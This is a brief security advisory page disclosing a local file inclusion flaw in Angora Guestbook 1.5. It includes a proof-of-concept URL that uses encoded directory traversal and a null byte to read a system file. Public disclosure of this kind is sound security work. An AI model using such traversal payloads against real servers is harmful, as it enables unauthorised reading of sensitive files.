Home
Consulting
Exploits
Advisories
Software
Papers
Contact

Vulnerability Advisory

Software Vulnerability
Angora Guestbook 1.5 Local File Inclusion
Threat Tested On Date
4/5
Windows Vista + XAMPP 6/1/2011
Description
A vulnerability in Angora Guestbook 1.5 can be exploited to include arbitrary files.
Proof of Concept
http://localhost/angora_1_5/guestbook/index.php?l=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00.jpg

Copyright © 2021 AutoSec Tools LLC